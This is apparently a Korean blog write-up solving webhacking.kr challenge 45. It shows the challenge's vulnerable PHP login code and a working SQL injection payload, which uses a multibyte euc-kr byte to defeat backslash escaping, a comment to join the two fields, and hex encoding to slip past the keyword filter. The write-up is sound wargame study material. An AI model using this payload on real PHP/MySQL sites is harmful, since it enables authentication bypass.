<html>
<head>
<title>Challenge 45</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get action=index.php>
id : <input name=id value=guest><br>
pw : <input name=pw value=guest><br>
<input type=submit>&nbsp;&nbsp;&nbsp;<input type=reset>
</form>
<?
if(time()<1256900400) exit();
?>

<!-- index.phps -->

<?

$pw="?????";

if($_GET[id] && $_GET[pw])
{

$_GET[id]=mb_convert_encoding($_GET[id],'utf-8','euc-kr');

$data=@mysql_fetch_array(mysql_query("select id from members where id='$_GET[id]' and pw=md5('$_GET[pw]')"));

if(eregi("admin",$_GET[id])) exit();
if(eregi("from",$_GET[id])) exit();
if(eregi("union",$_GET[id])) exit();
if(eregi("limit",$_GET[id])) exit();
if(eregi("union",$_GET[pw])) exit();
if(eregi("pw",$_GET[pw])) exit();
if(eregi("=",$_GET[pw])) exit();
if(eregi(">",$_GET[pw])) exit();
if(eregi("<",$_GET[pw])) exit();
if(eregi("from",$_GET[pw])) exit();


if($data)
{
echo("hi $data[0]<br><br>");

if($data[0]=="admin") @solve();
}


if(!$data)
{
echo("Wrong");
}

}

?>

</body>
</html>
 



50번 문제와 비슷하다. 

2018/09/11 - [WEB Hacking/webhacking.kr] - [webhacking.kr] 50번 :: /**/ SQL 인젝션 ㅡㅡ



이 문제도 id와 pw를 입력 받고 id 값을 mb_convert_encoding() 함수로 euc-kr -> utf-8 로 인코딩 방식을 변환했다.

mb_convert_encoding() 함수를 사용하면 %a1 ~ %fe 값이 백슬래시 앞에 오면 백슬래시를 먹어버린다. 

따라서 magic_quotes_gpc 또는 addslashes() 함수로 싱글쿼터를 이스케이프해도 우회할 수 있다.

2018/09/11 - [WEB Hacking/정리] - 멀티 바이트 언어셋 환경 :: addslashs(), magic_quotes_gpc 우회



SELECT id from members WHERE id='$_GET[id]' and pw=md5('$_GET[pw]')


id와 pw를 입력받아 해당 값을 쿼리로 전달한다. 

근데 웃긴게 필터를 쿼리 이후에 하네? 어쨋든 필터 문자를 입력하면 exit() 를 호출하기 때문에 우회해야한다.


# $_GET[id] 필터 문자

admin

from

union

limit


# $_GETpw] 필터 문자

union

pw

=, <, >

from


쿼리 결과 레코드가 존재하면 "hi 아이디 값" 를 출력한다.

쿼리 결과 id 값이 admin이면 해결된다.



id 값에는 admin이 올 수 없기 때문에 pw에서 admin을 입력해준다. 이때, 주석(/**/)을 사용한다.


SELECT id from members WHERE id='rap1erX'/*' and pw=md5('*/ or id like 0x61646d696e# ')

id = rapier%a1'%2F*

pw = *%2For id like 0x61646d696e%23



SELECT id from members WHERE id='rapierX'/* ' and pw=md5('*/ or id like 0x61646d696e# ')

SELECT id from members WHERE id='rapierX' or id like 0x61646d696e#


+ Recent posts